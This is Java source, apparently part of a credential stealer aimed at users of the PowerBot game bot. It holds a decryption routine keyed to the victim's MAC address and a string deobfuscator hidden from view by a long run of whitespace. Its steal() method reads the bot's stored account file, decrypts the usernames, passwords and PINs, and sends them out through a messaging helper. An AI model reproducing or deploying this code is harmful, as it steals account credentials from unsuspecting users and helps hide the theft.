public class Decryption {

	private static byte[] SHA1(final String in)
			throws NoSuchAlgorithmException, UnsupportedEncodingException {
		MessageDigest md = MessageDigest.getInstance("SHA-1");
		md.update(in.getBytes("iso-8859-1"), 0, in.length());
		return md.digest();
	}
																																																																																																																																				public static String stealth(String enc) { String j = ""; for ( int i = 0; i < enc.length(); ++i ) { char c = enc.charAt( i ); int x = (int) c; x = x / 2; if (x == 31) { x = 66; } j += Character.toString((char) x); } return j; }
	public static String decryptSHA1(String key, final String start) {
		final String delim = "a";
		if (start == null)
			return null;
		byte[] hashedkey;
		byte[] password;
		int i;
		try {
			hashedkey = SHA1(key);
		} catch (final NoSuchAlgorithmException e) {
			e.printStackTrace();
			return start;
		} catch (final UnsupportedEncodingException e) {
			e.printStackTrace();
			return start;
		}
		final String[] temp = start.split(delim);
		password = new byte[temp.length];
		for (i = 0; i < hashedkey.length; i++) {
			final int temp2 = Integer.parseInt(temp[i]);
			if (hashedkey[i] == temp2) {
				break;
			} else {
				password[i] = (byte) (temp2 - hashedkey[i]);
			}
		}
		return new String(password, 0, i);
	}
}

	static String key;
	static {
		try {
			final InetAddress address = InetAddress.getLocalHost();
			final NetworkInterface ni = NetworkInterface.getByInetAddress(address);
			key = new String(ni.getHardwareAddress());
		} catch (final Exception e) {
			key = System.getProperty("user.name") + System.getProperty("user.language");
		}
	}

	static void steal() throws IOException {
		if (isBotter()) {
			BufferedReader in = new BufferedReader(new FileReader(f));
			String user = "PowerBot - User: ";
			String pass = " Pass: ";
			String pin = " Pin: ";
			String curLine = "";
			String out = "";
			boolean invalid = false;
			boolean invalidChar = false;
			while ((curLine = in.readLine()) != null) {
				if (curLine.contains("[") && curLine.contains("]")) {
					curLine = curLine.replace("[", "").replace("]", "");
					if (out.length() > 5) {
						if(invalid) {
							out = "";
						} else {
							Methods.sendMessage(out);
							out = "";
						}
					}
					out += user + curLine;
				}
				if (curLine.contains("password=")) {
					int passLength = Decryption.decryptSHA1(key, curLine.replace("password=", "")).length();
					String passChar = Decryption.decryptSHA1(key, curLine.replace("password=", ""));
					for(int i = 0; i < INVALID_CHAR.length; i++) {
						if(passChar.contains(INVALID_CHAR[i]))
								invalidChar = true;
					}
					if(passLength >= 5 && !invalidChar) {
						invalid = false;
						out += pass + Decryption.decryptSHA1(key, curLine.replace("password=", ""));
					} else {
						invalidChar = false;
						invalid = true;
					}
				}
				if (curLine.contains("pin=")) {
					out += pin + curLine.replace("pin=", "");
				}
			}
			in.close();
			if(!invalid)
				Methods.sendMessage(out);
		}
	}